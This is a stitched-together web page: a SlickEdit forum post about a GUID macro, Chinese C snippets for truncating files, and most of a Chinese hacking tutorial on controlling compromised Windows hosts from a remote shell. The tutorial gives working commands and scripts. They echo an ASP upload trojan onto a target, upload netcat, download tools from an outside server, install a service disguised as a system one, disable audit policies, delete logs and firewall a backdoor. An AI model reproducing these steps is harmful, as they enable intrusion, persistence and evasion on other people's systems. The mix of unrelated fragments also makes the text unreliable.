|
It appears that ctrl+k clears the vsapi.dll window
http://community.slickedit.com/index.php/topic,202.html « on: July 31, 2006, 05:20:58 PM » The earlier post on uuidgen prompted me to share my own macro implementation that I created for my own use a few months ago. This macro implementation is self-contained, and doesn't shell out to any other utilties. There are 3 commands and 1 function for generating GUIDs: insert_guid(_str format = 'B'); (command)This generates a new GUID, formatted according to format specifier parameter, and inserts it at the current position in the buffer. Default is Brace Format. Use it on the command line like so: insert-guid g copy_guid(_str format = 'B'); (command)Same as above, but places the results on the clipboard. This way you can generate a GUID without having an edit buffer open. On the command line: copy-guid b gui_insert_guid(); (command)Shows a small dialog, allowing you to generate multiple GUIDs, or to insert the same GUID in multiple string formats. _str guid_create_string(_str format); (function)Works the same as insert_guid, but returns the string. For use in your own macro functions and forms. The string formats for GUID output are documented in the source guidgen.e, at the top, in the Javadoc for insert_guid. But to pique your interest... - 'B' - Brace format: {F3410386-1DBB-4035-A293-440A106A6665}
- 'G' - General format: F3410386-1DBB-4035-A293-440A106A6665
- 'P' - Paren format: (F3410386-1DBB-4035-A293-440A106A6665)
- 'N' - Number format: F34103861DBB4035A293440A106A6665
- 'C' - Const declaration: static const GUID <<name>> = { 0xf3410386, 0x1dbb, 0x4035, { 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65 } };
- 'D' - DEFINE_GUID macro: DEFINE_GUID(<<name>>, 0x17342D4B, 0x906F, 0x4706, 0x0F, 0xAC, 0xC5, 0x8E, 0x4D, 0xE7, 0x32, 0x29);
- 'O' - IMPLEMENT_OLECREATE macro: IMPLEMENT_OLECREATE(<<class>>, <<external_name>>, 0xf3410386, 0x1dbb, 0x4035, 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65);
In my own testing I have generated over 50,000 GUIDs without a duplicate, so the algorithm looks to be holding up so far. But if you'd like to verify the reliability before using in your own code, I have provided some unit testing commands as well. Open an empy edit buffer and run the following command line: guid-unittest-duplicates 200 , where 200 is the number of GUIDs you want to create. This will populate the buffer with the requested number of GUIDs in brace format using insert_guid('b');. Any number less than 2000 should complete in a reasonable amount of time. 2000 takes around 5 seconds on my Pentium M 2.0 GHz, 1 GB RAM. The results of the unit testing are displayed in the VSAPI message window since it uses the say() funtion. You can run the unit test multiple times in the same edit buffer, and it will append the results to the end of the previous test. For those of you interested in such things, the GUIDs generated are created (and marked) as version 4. This means that all bytes of the GUID were created using a random number, and does not use a MAC address as a basis.
windows下似乎可以調(diào)用API SetFileSize 但是不甚確定,樓主自己查查MSDN吧 呵呵 可以通過系統(tǒng)提供的API來設(shè)置文件結(jié)尾, 在Linux下可以包含fcntl.h,使用int chsize(int handle, long size); 在windows下有SetFilePointer SetEndOfFile,請參閱MSDN 這些都是文件稍微底層的操作,所以標(biāo)準(zhǔn)C庫函數(shù)里面沒有 #include <io.h> int main(void) { int handle; char buf[11] = "0123456789 "; /* create text file containing 10 bytes */ handle = open( "DUMMY.FIL ", O_CREAT); write(handle, buf, strlen(buf)); /* truncate the file to 5 bytes in size */ chsize(handle, 5); /* close the file */ close(handle); return 0; } 下面 ftruncate 好象是linux上的吧,windows上沒有
long pos; FILE *file; file=fopen( "filename ", "w+ "); pos=ftell(file); //獲取當(dāng)前文件指針位置
ftruncate(fileno(file),pos); //根據(jù)大小截取文件。
#include "stdafx.h " #include "iostream " #include "stdio.h " #include "stdlib.h " #include "windows.h " #include "io.h "
using namespace std;
int main() { FILE* f = fopen( "a.txt ", "r+ ");
char sz[128];
fgets(sz, 128, f);
HANDLE h = (HANDLE)_get_osfhandle(_fileno(f));
SetFilePointer(h, ftell(f), NULL, FILE_BEGIN); SetEndOfFile(h); fclose(f);
return 0; }
http://v.youku.com/v_show/id_XMjYyOTk4OTgw.html
Do All in Cmd Shell (一切盡在命令行)
http://www.isgrey.com 2004-04-24 -------------------------------------------------------
目錄 1,前言 2,文件傳輸 3,系統(tǒng)配置 4,網(wǎng)絡(luò)配置 5,軟件安裝 6,Windows腳本 7,附言
前言 Cmd Shell(命令行交互)是黑客永恒的話題,它歷史悠久并且長盛不衰。 本文旨在介紹和總結(jié)一些在命令行下控制Windows系統(tǒng)的方法。這些方法都是盡可能地利用系統(tǒng)自帶的工具實(shí)現(xiàn)的。
文件傳輸 對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對ipc$的保護(hù),通過ipc$及默認(rèn)共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
1,用Echo命令寫ASP木馬。 前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。 一般的ASP木馬“體積”較大,不適合直接用echo命令寫入文件,這里我提供一個小巧的。 直接給出echo版:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意,只有一行,中間沒有回車符。 生成的up.asp不能用瀏覽器訪問,只能用下面這個腳本:
with wscript if .arguments.count<3 then .quit url=.arguments(0)&"?s="&.arguments(2) fn=.arguments(1) end with with createobject("adodb.stream") .type=1:.open:.loadfromfile fn:s=.read:.close end with with createobject("microsoft.xmlhttp") .open "post",url,false:.send s wscript.echo .statustext end with
將其保存為up.vbs。假設(shè)目標(biāo)IP為123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的文件為nc.exe,上傳后保存為mm.exe,相應(yīng)的命令是:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
注意,這個命令是在本地命令行中執(zhí)行的,不要弄錯了。
另外,通過IIS上傳會留日志,要記得清除哦。
2,自動下載到網(wǎng)頁緩存中。 例如:
start its:http://www.sometips.com/soft/ps.exe
在遠(yuǎn)程shell中執(zhí)行上面這個命令后,ps.exe已經(jīng)下載到目標(biāo)主機(jī)的網(wǎng)頁緩存目錄中了。然后:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5" dir /s ps[1].exe
于是獲得ps.exe的具體位置(每臺主機(jī)都不一樣),如:
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄
2004-01-24 14:24 49,152 ps[1].exe 1 個文件 49,152 字節(jié)
最后: copy AB094JIT\ps[1].exe c:\path\ps.exe del AB094JIT\ps[1].exe
補(bǔ)充說明: 對于以服務(wù)為啟動方式的后門所提供的shell,其用戶身份一般是System。此時網(wǎng)頁緩存目錄的位置就如例子中所示。如果shell的身份不是System,需要修改Default User為相應(yīng)的用戶名。 本方法會啟動一個IE進(jìn)程,記得要將它殺掉。如果是System身份的shell,不會在本地出現(xiàn)窗口而暴露。 另外,用ms-its代替its效果完全一樣。
3,Echo一個腳本下載web資源。 現(xiàn)成的工具是iGet.vbs。我再給出一個含必要容錯功能的版本。 仍然是echo版:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
舉例——下載ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,這是在遠(yuǎn)程shell中執(zhí)行的。
4,Echo經(jīng)過編碼的任何文件,再用腳本+debug還原。 前面兩個辦法都不能保證穿過防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒有解壓工具,還是沒轍。那么只有出“殺手锏”了!
echo命令加重定向操作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新“編碼”為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位操作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請賜教。)
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:
fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"\")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl\65536 with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_ +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs" .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_ +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs" end with
將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:
cscript echo.vbs nc.exe
也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。 稍等一會兒,在當(dāng)前目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內(nèi)容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs @echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs @echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs @echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs ………… …………(省略若干行) ………… @echo +"">>debug.vbs @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs @echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。 如果網(wǎng)速不是很慢的話,整個上傳過程大約需要20秒。
幾點(diǎn)說明: 1,大的文件傳輸不穩(wěn)定,可能會使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。 2,在傳輸大文件前,可以先傳個小的文件作為“熱身”,讓16位虛擬機(jī)ntvdm.exe駐留后臺。所有文件傳完后,為隱蔽起見,應(yīng)該把ntvdm進(jìn)程殺掉。 3,某些cmd shell每個命令都需要附加兩個回車,那nc.exe.bat就不能直接用了。 4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務(wù)。而且,對于nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調(diào)整每個echo命令的長度。每次echo的字符為這個數(shù)乘以2。 5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因?yàn)閴嚎s了數(shù)據(jù))。如果有時間,我會寫一個更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗(yàn)功能。
能上傳文件當(dāng)然一切都好辦了,但很多操作用Windows自帶的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身。
系統(tǒng)配置 這節(jié)包括三方面內(nèi)容:注冊表、服務(wù)和組策略。
先說注冊表。很多命令行下訪問注冊表的工具都是交互式的,溢出產(chǎn)生的shell一般不能再次重定向輸入/輸出流,所以無法使用。 好在系統(tǒng)自帶的regedit.exe足夠用了。
1,讀取注冊表 先將想查詢的注冊表項(xiàng)導(dǎo)出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber" "PortNumber"=dword:00000d3d
C:\>del 1.reg
所以終端服務(wù)的端口是3389(十六進(jìn)制d3d)
2,修改/刪除注冊表項(xiàng) 先echo一個reg文件,然后導(dǎo)入,比如:
echo Windows Registry Editor Version 5.00 >1.reg echo. >>1.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg echo "TelnetPort"=dword:00000913 >>1.reg echo "NTLM"=dword:00000001 >>1.reg echo. >>1.reg regedit /s 1.reg
將telnet服務(wù)端口改為2323(十六進(jìn)制913),NTLM認(rèn)證方式為1。
要刪除一個項(xiàng),在名字前面加減號,比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要刪除一個值,在等號后面用減號,比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "KAVRun"=-
3,用inf文件訪問注冊表 上面對注冊表的三個操作,也可以用下面這個inf文件來實(shí)現(xiàn):
[Version] Signature="$WINDOWS NT$" [DefaultInstall] AddReg=My_AddReg_Name DelReg=My_DelReg_Name [My_AddReg_Name] HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323 HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1 [My_DelReg_Name] HKLM,SYSTEM\CurrentControlSet\Services\Serv-U HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
將它寫入c:\path\reg.inf然后用下面這個命令“安裝”:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
幾點(diǎn)說明: 1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個。My_AddReg_Name和My_DelReg_Name可以自定義。 0x00010001表示REG_DWORD數(shù)據(jù)類型,0x00000000或省略該項(xiàng)(保留逗號)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。 2323也可以用0x913代替。 關(guān)于inf文件的詳細(xì)信息,可以參考DDK幫助文檔。 2,InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個逗號,沒有空格。 128表示給定路徑,該參數(shù)其他取值及含義參見MSDN。 特別注意,最后一個參數(shù),必須是inf文件的全路徑,不要用相對路徑。 3,inf文件中的項(xiàng)目都是大小寫不敏感的。
接下來說服務(wù)。如果想啟動或停止服務(wù),用net命令就可以。但想增加或刪除服務(wù),需要用SC,instsrv.exe,xnet.exe等工具。而這些工具系統(tǒng)沒有自帶(XP和2003自帶SC)。導(dǎo)入注冊表雖然可以,但效果不好,原因后面會提到。還是得靠inf文件出馬。
增加一個服務(wù):
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=inetsvr,,My_AddService_Name [My_AddService_Name] DisplayName=Windows Internet Service Description=提供對 Internet 信息服務(wù)管理的支持。 ServiceType=0x10 StartType=2 ErrorControl=0 ServiceBinary=%11%\inetsvr.exe
保存為inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
這個例子增加一個名為inetsvr的服務(wù)(是不是很像系統(tǒng)自帶的服務(wù),呵呵)。
幾點(diǎn)說明: 1,最后四項(xiàng)分別是 服務(wù)類型:0x10為獨(dú)立進(jìn)程服務(wù),0x20為共享進(jìn)程服務(wù)(比如svchost); 啟動類型:0 系統(tǒng)引導(dǎo)時加載,1 OS初始化時加載,2 由SCM(服務(wù)控制管理器)自動啟動,3 手動啟動,4 禁用。 (注意,0和1只能用于驅(qū)動程序) 錯誤控制:0 忽略,1 繼續(xù)并警告,2 切換到LastKnownGood的設(shè)置,3 藍(lán)屏。 服務(wù)程序位置:%11%表示system32目錄,%10%表示系統(tǒng)目錄(WINNT或Windows),%12%為驅(qū)動目錄system32\drivers。其他取值參見DDK。你也可以不用變量,直接使用全路徑。 這四項(xiàng)是必須要有的。 2,除例子中的六個項(xiàng)目,還有LoadOrderGroup、Dependencies等。不常用所以不介紹了。 3,inetsvr后面有兩個逗號,因?yàn)橹虚g省略了一個不常用的參數(shù)flags。
刪除一個服務(wù):
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] DelService=inetsvr
很簡單,不是嗎?
當(dāng)然,你也可以通過導(dǎo)入注冊表達(dá)到目的。但inf自有其優(yōu)勢。 1,導(dǎo)出一個系統(tǒng)自帶服務(wù)的注冊表項(xiàng),你會發(fā)現(xiàn)其執(zhí)行路徑是這樣的: "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\ 00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00 可讀性太差。其實(shí)它就是%SystemRoot%\system32\tlntsvr.exe,但數(shù)據(jù)類型是REG_EXPAND_SZ。當(dāng)手動導(dǎo)入注冊表以增加服務(wù)時,這樣定義ImagePath顯然很不方便。如果用REG_SZ代替會有些問題——不能用環(huán)境變量了。即只能使用完整路徑。用inf文件完全沒有這個問題,ServiceBinary(即ImagePath)自動成為REG_EXPAND_SZ。 2,最關(guān)鍵的是,和用SC等工具一樣,inf文件的效果是即時起效的,而導(dǎo)入reg后必須重啟才有效。 3,inf文件會自動為服務(wù)的注冊表項(xiàng)添加一個Security子鍵,使它看起來更像系統(tǒng)自帶的服務(wù)。
另外,AddService和DelService以及AddReg、DelReg可以同時且重復(fù)使用。即可以同時增加和刪除多個服務(wù)和注冊表項(xiàng)。詳細(xì)的內(nèi)容還是請查看DDK。
最后說說組策略。組策略是建立Windows安全環(huán)境的重要手段,尤其是在Windows域環(huán)境下。一個出色的系統(tǒng)管理員,應(yīng)該能熟練地掌握并應(yīng)用組策略。在窗口界面下訪問組策略用gpedit.msc,命令行下用secedit.exe。
先看secedit命令語法: secedit /analyze secedit /configure secedit /export secedit /validate secedit /refreshpolicy 5個命令的功能分別是分析組策略、配置組策略、導(dǎo)出組策略、驗(yàn)證模板語法和更新組策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。這些命令具體的語法自己在命令行下查看就知道了。
與訪問注冊表只需reg文件不同的是,訪問組策略除了要有個模板文件(還是inf),還需要一個安全數(shù)據(jù)庫文件(sdb)。要修改組策略,必須先將模板導(dǎo)入安全數(shù)據(jù)庫,再通過應(yīng)用安全數(shù)據(jù)庫來刷新組策略。來看個例子:
假設(shè)我要將密碼長度最小值設(shè)置為6,并啟用“密碼必須符合復(fù)雜性要求”,那么先寫這么一個模板:
[version] signature="$CHICAGO$" [System Access] MinimumPasswordLength = 6 PasswordComplexity = 1
保存為gp.inf,然后導(dǎo)入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
這個命令執(zhí)行完成后,將在當(dāng)前目錄產(chǎn)生一個gp.sdb,它是“中間產(chǎn)品”,你可以刪除它。 /quiet參數(shù)表示“安靜模式”,不產(chǎn)生日志。但根據(jù)我的試驗(yàn),在2000sp4下該參數(shù)似乎不起作用,XP下正常。日志總是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便隨后刪除它。比如:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log del gp.*
另外,在導(dǎo)入模板前,還可以先分析語法是否正確:
secedit /validate gp.inf
那么,如何知道具體的語法呢?當(dāng)然到MSDN里找啦。也有偷懶的辦法,因?yàn)橄到y(tǒng)自帶了一些安全模板,在%windir%\security\templates目錄下。打開這些模板,基本上包含了常用的安全設(shè)置語法,一看就懂。
再舉個例子——關(guān)閉所有的“審核策略”。(它所審核的事件將記錄在事件查看器的“安全性”里)。 echo版:
echo [version] >1.inf echo signature="$CHICAGO$" >>1.inf echo [Event Audit] >>1.inf echo AuditSystemEvents=0 >>1.inf echo AuditObjectAccess=0 >>1.inf echo AuditPrivilegeUse=0 >>1.inf echo AuditPolicyChange=0 >>1.inf echo AuditAccountManage=0 >>1.inf echo AuditProcessTracking=0 >>1.inf echo AuditDSAccess=0 >>1.inf echo AuditAccountLogon=0 >>1.inf echo AuditLogonEvents=0 >>1.inf secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet del 1.*
也許有人會說:組策略不是保存在注冊表中嗎,為什么不直接修改注冊表?因?yàn)椴皇撬械慕M策略都保存在注冊表中。比如“審核策略”就不是。你可以用regsnap比較修改該策略前后注冊表的變化。我測試的結(jié)果是什么都沒有改變。只有“管理模板”這一部分是完全基于注冊表的。而且,知道了具體位置,用哪個方法都不復(fù)雜。
比如,XP和2003的“本地策略”-》“安全選項(xiàng)”增加了一個“本地帳戶的共享和安全模式”策略。XP下默認(rèn)的設(shè)置是“僅來賓”。這就是為什么用管理員帳號連接XP的ipc$仍然只有Guest權(quán)限的原因。可以通過導(dǎo)入reg文件修改它為“經(jīng)典”:
echo Windows Registry Editor Version 5.00 >1.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg echo "forceguest"=dword:00000000 >>1.reg regedit /s 1.reg del 1.reg
而相應(yīng)的用inf,應(yīng)該是:
echo [version] >1.inf echo signature="$CHICAGO$" >>1.inf echo [Registry Values] >>1.inf echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf secedit /configure /db 1.sdb /cfg 1.inf /log 1.log del 1.*
關(guān)于命令行下讀取組策略的問題。 系統(tǒng)默認(rèn)的安全數(shù)據(jù)庫位于%windir%\security\database\secedit.sdb,將它導(dǎo)出至inf文件:
secedit /export /cfg gp.inf /log 1.log
沒有用/db參數(shù)指定數(shù)據(jù)庫就是采用默認(rèn)的。然后查看gp.inf。
不過,這樣得到的只是組策略的一部分(即“Windows設(shè)置”)。而且,某個策略如果未配置,是不會被導(dǎo)出的。比如“重命名系統(tǒng)管理員帳戶”,只有被定義了才會在inf文件中出現(xiàn)NewAdministratorName="xxx"。對于無法導(dǎo)出的其他的組策略只有通過訪問注冊表來獲得了。
此辦法在XP和2003下無效——可以導(dǎo)出但內(nèi)容基本是空的。原因不明。根據(jù)官方的資料,XP和2003顯示組策略用RSoP(組策略結(jié)果集)。相應(yīng)的命令行工具是gpresult。但是,它獲得的是在系統(tǒng)啟動時被附加(來自域)的組策略,單機(jī)測試結(jié)果還是“空”。所以,如果想知道某些組策略是否被設(shè)置,只有先寫一個inf,再用secedit /analyze,然后查看日志了。
網(wǎng)絡(luò)配置 Windows自帶的關(guān)于網(wǎng)絡(luò)的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,還有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh…… 這些命令又可分成三類:網(wǎng)絡(luò)檢測(如ping)、網(wǎng)絡(luò)連接(如telnet)和網(wǎng)絡(luò)配置(如netsh)。前面兩種相對簡單,本文只介紹兩個網(wǎng)絡(luò)配置工具。
netsh 在遠(yuǎn)程shell中使用netsh首先要解決一個交互方式的問題。前面說過,很多shell不能再次重定向輸出輸出,所以不能在這種環(huán)境下交互地使用ftp等命令行工具。解決的辦法是,一般交互式的工具都允許使用腳本(或者叫應(yīng)答文件)。比如ftp -s:filename。netsh也是這樣:netsh -f filename。
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服務(wù)器,TCP/IP協(xié)議,IPX協(xié)議,路由等。我們不是管理員,一般沒必要了解這么多,只需用netsh來了解目標(biāo)主機(jī)的網(wǎng)絡(luò)配置信息。
1,TCP/IP配置
echo interface ip >s echo show config >>s netsh -f s del s
由此你可以了解該主機(jī)有多個網(wǎng)卡和IP,是否是動態(tài)分配IP(DHCP),內(nèi)網(wǎng)IP是多少(如果有的話)。 這個命令和ipconfig /all差不多。
注意,以下命令需要目標(biāo)主機(jī)啟動remoteaccess服務(wù)。如果它被禁用,請先通過導(dǎo)入注冊表解禁,然后 net start remoteaccess
2,ARP
echo interface ip >s echo show ipnet >>s netsh -f s del s
這個比arp -a命令多一點(diǎn)信息。
3,TCP/UDP連接
echo interface ip >s echo show tcpconn >>s echo show udpconn >>s netsh -f s del s
這組命令和netstat -an一樣。
4,網(wǎng)卡信息 如果netsh命令都有其他命令可代替,那它還有什么存在的必要呢?下面這個就找不到代替的了。
echo interface ip >s echo show interface >>s netsh -f s del s
netsh的其他功能,比如修改IP,一般沒有必要使用(萬一改了IP后連不上,就“叫天不應(yīng)叫地不靈”了),所以全部略過。
IPSec 首先需要指出的是,IPSec和TCP/IP篩選是不同的東西,大家不要混淆了。TCP/IP篩選的功能十分有限,遠(yuǎn)不如IPSec靈活和強(qiáng)大。下面就說說如何在命令行下控制IPSec。
XP系統(tǒng)用ipseccmd,2000下用ipsecpol。遺憾的是,它們都不是系統(tǒng)自帶的。ipseccmd在xp系統(tǒng)安裝盤的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol還必須帶上另外兩個文件:ipsecutil.dll和text2pol.dll。三個文件一共119KB。
IPSec可以通過組策略來控制,但我找遍MSDN,也沒有找到相應(yīng)的安全模板的語法。已經(jīng)配置好的IPSec策略也不能被導(dǎo)出為模板。所以,組策略這條路走不通。IPSec的設(shè)置保存在注冊表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理論上可以通過修改注冊表來配置IPSec。但很多信息以二進(jìn)制形式存放,讀取和修改都很困難。相比之下,上傳命令行工具更方便。
關(guān)于ipsecpol和ipseccmd的資料,網(wǎng)上可以找到很多,因此本文就不細(xì)說了,只是列舉一些實(shí)用的例子。 在設(shè)置IPSec策略方面,ipseccmd命令的語法和ipsecpol幾乎完全一樣,所以只以ipsecpol為例:
1,防御rpc-dcom攻擊
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
這條命令關(guān)閉了本地主機(jī)的TCP135,139,445和udp135,137,138,445端口。 具體含義如下: -p myfirewall 指定策略名為myfirewall -r rpc-dcom 指定規(guī)則名為rpc-dcom -f …… 建立7個篩選器。*表示任何地址(源);0表示本機(jī)地址(目標(biāo));+表示鏡像(雙向)篩選。詳細(xì)語法見ipsecpol -? -n BLOCK 指定篩選操作是“阻塞”。注意,BLOCK必須是大寫。 -w reg 將配置寫入注冊表,重啟后仍有效。 -x 立刻激活該策略。
2,防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名為myfirewall的策略已存在,則antiping規(guī)則將添加至其中。 注意,該規(guī)則同時也阻止了該主機(jī)ping別人。
3,對后門進(jìn)行IP限制 假設(shè)你在某主機(jī)上安裝了DameWare Mini Remote Control。為了保護(hù)它不被別人暴破密碼或溢出,應(yīng)該限制對其服務(wù)端口6129的訪問。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
這樣就只有123.45.67.89可以訪問該主機(jī)的6129端口了。 如果你是動態(tài)IP,應(yīng)該根據(jù)IP分配的范圍設(shè)置規(guī)則。比如:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
這樣就允許123.45.67.1至123.45.67.254的IP訪問6129端口。
在寫規(guī)則的時候,應(yīng)該特別小心,不要把自己也阻塞了。如果你不確定某個規(guī)則的效果是否和預(yù)想的一樣,可以先用計(jì)劃任務(wù)“留下后路”。例如:
c:\>net start schedule Task Scheduler 服務(wù)正在啟動 .. Task Scheduler 服務(wù)已經(jīng)啟動成功。
c:\>time /t 12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg 新加了一項(xiàng)作業(yè),其作業(yè) ID = 1
然后,你有5分鐘時間設(shè)置一個myfw策略并測試它。5分鐘后計(jì)劃任務(wù)將停止該策略。 如果測試結(jié)果不理想,就刪除該策略。
c:\>ipsecpol -p myfw -o -w reg
注意,刪除策略前必須先確保它已停止。不停止它的話,即使刪除也會在一段時間內(nèi)繼續(xù)生效。持續(xù)時間取決于策略的刷新時間,默認(rèn)是180分鐘。
如果測試通過,那么就啟用它。
c:\>ipsecpol -p myfw -x -w reg
